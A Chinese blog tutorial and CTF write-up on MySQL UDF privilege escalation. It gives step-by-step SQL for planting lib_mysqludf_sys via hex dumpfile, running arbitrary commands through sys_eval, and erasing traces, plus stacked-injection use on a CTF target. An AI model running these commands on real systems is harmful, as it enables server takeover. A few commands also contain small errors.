一、什么是udf
udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。
udf 文件后缀一般为 dll,由C、C++编写
二、udf在渗透中的作用
在一般渗透过程中,拿下一台windows服务器的webshell时,由于webshell权限较低,有些操作无法进行,而此时本地恰好存在mysql数据库,那么udf可能就派上用场了;由于windows安装的mysql进程一般都拥有管理员权限,这就意味着用户自定义的函数也拥有管理员权限,我们也就拥有了执行管理员命令的权限,这时新建管理员用户等操作也就轻而易举了,大多数人称为这一操作为udf提权,其实表达不够准确,应该称为通过mysql获得管理员权限。
三、利用条件
利用udf的条件其实还是挺苛刻的
mysql用户权限问题
获得一个数据库账号,拥有对MySQL的insert和delete权限。以root为佳。
拥有将udf.dll写入相应目录的权限。
四、数据库版本问题
udf利用的其中一步,是要将我们的xxx.dll文件上传到mysql检索目录中,mysql各版本的检索目录有所不同:
版本 | 路径 |
---|---|
MySQL < 5.0 | 导出路径随意; |
5.0 <= MySQL< 5.1 | 需要导出至目标服务器的系统目录(如:c:/windows/system32/) |
5.1 < MySQL | 必须导出到MySQL安装目录下的lib\plugin文件夹下 |
一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)
五、本地利用过程
1、获取Mysql安装路径
1 | select @basedir |
2、查看可操作路径
1 | show global variables like "%secure%" |
secure_file_priv值为null,表示mysql不允许导入导出,此时我们只能通过别的方法将udf.dll写入安装路径
3、查看plugin目录路径
1 | select @@plugin_dir |
4、将dll上传方式推荐几种
将dll上传到安装路径的方式:
通过webshell上传
以hex方式直接上传
sqlmap中现有的udf文件,分为32位和64位,一定要选择对版本,获取sqlmap的udf方式
5、sqlmap中udf获取方式
自动化注入工具Sqlmap已经集成了此功能。
在 \sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll_
- 但是sqlmap中自带的shell以及一些二进制文件,为了防止误杀都经过异或编码,不能直接使用
可以利用sqlmap 自带的解码工具cloak.py,在sqlmap\extra\cloak中打开命令行,来对lib_mysqludf_sys.dll_进行解码在,然后在直接利用,输入下面的
1 | cloak.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ |
接着就会在\sqlmap\data\udf\mysql\windows\64目录下生成一个dll的文件lib_mysqludf_sys.dll,这个我们就可以直接拿来利用
攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。
函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
以我windows系统为例,mysql版本为MySQL5.7.26
注意:攻击过程中,首先需要将lib_mysqludf_sys ( 目标为windows时,lib_mysqludf_sys.dll;linux时,lib_mysqludf_sys.so)上传到数据库能访问的路径下。
- 直接将刚刚生成的64位windows的dll文件复制到
D:\phpstudy8\Extensions\MySQL5.7.26\lib\plugin
中,然后再mysql中执行以下语句
1 | create function sys_eval returns string soname 'udf.dll' |
然后就可以任意命令执行了
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
1 | select sys_eval('ipconfig') |
六、实战情况之一,hex编/解传入mysql系统提权
- 本地利用的情况,你得已经上传webshell的情况下才能成功。如果你在sql实战中遇到可以使用outfile等上传文件的情况下,如何利用来系统权限命令执行。下面我们先熟悉一下本地测试一下具体情况
为了将这个转换为十六进制,可以借助mysql中的hex函数,先将udf.dll移动到C盘中,这样路径也清晰一些,然后执行下面命令
1 | select hex(load_file('C:/udf.dll')) into dumpfile 'c:/udf.txt' |
成功生成了十六进制形式流
接下来就是把本地的udf16进制形式通过我们已经获得的webshell传到目标主机上。
一、新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
1 | create table udftmp (c BLOB) |
二、在udftmp中写入udf文件内容
1 | INSERT INTO udftmp values(unhex('udf文件的16进制格式')) |
三、将udf文件内容传入新建的udf文件中,路径根据自己的@@plugin_dir修改 //对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\
1 | select c from udftmp into dumpfile 'D:/phpstudy8/Extensions/MySQL5.7.26/lib/plugin/udf.dll' |
四、执行下面语句,就可以system权限下命令任意执行,这电脑就沦陷了,执行命令上面已经说过,就不复述了
1 | create function sys_eval returns string soname 'udf.dll' |
五、删除痕迹,做好事不留名
1 | DROP TABLE udftmp |
1 | SELECT sys_eval('ipconfig'); |
本地实践了之后,基础知识差不多了解我们做一个实战靶场
题目代码
1 | $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;"; |
- 测试了一下,明显存在堆叠注入,刚好可以利用堆叠注入,来进行udf来进行命令执行,测试,过滤information、and、or等各种语句无法布尔盲注、时间盲注、报错注入等
好了,废话不多说直接看一下@@plugin_dir的路径来命令执行
1 | 目录/usr/lib/mariadb/plugin/ |
对方是linux,当然写 一个脚本跑会快一些,我先手工实操一遍,之后就用脚本梭哈,首先根据我之前的方法生成64位linux的udf.so的十六进制形式
由于这是get传参,是有长度限制的,16081的超过限制,会直接被ban了,所以我分按6000长度分为了三个文本文件里面装了udf十六进制三个部分
接着我们将a、b、c三个中里面的十六进制导入到被攻击的机器中
1 | select 'a部分十六进制' into dumpfile '/usr/lib/mariadb/plugin/a.txt' |
为了确认我们是否已经导入load_file来判断
1 | select load_file('/usr/lib/mariadb/plugin/a.txt') |
明显导入成功,照葫芦画瓢,将剩下的b和c导入进去
当明显确定已经都导入成功了a、b、c三部分udf十六进制内容,接着来就是导入so到这个目录就可以命令执行
1 | select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so' |
最后我们创建sys_eval这个函数来进行命令执行
1 | create function sys_eval returns string soname 'udf.so' |
明显获得了命令执行的权限
我们可以看看ip配置
接着就拿这题的flag
七、写个脚本跑
1 | import requests |
我的个人博客
孤桜懶契:http://gylq.github.io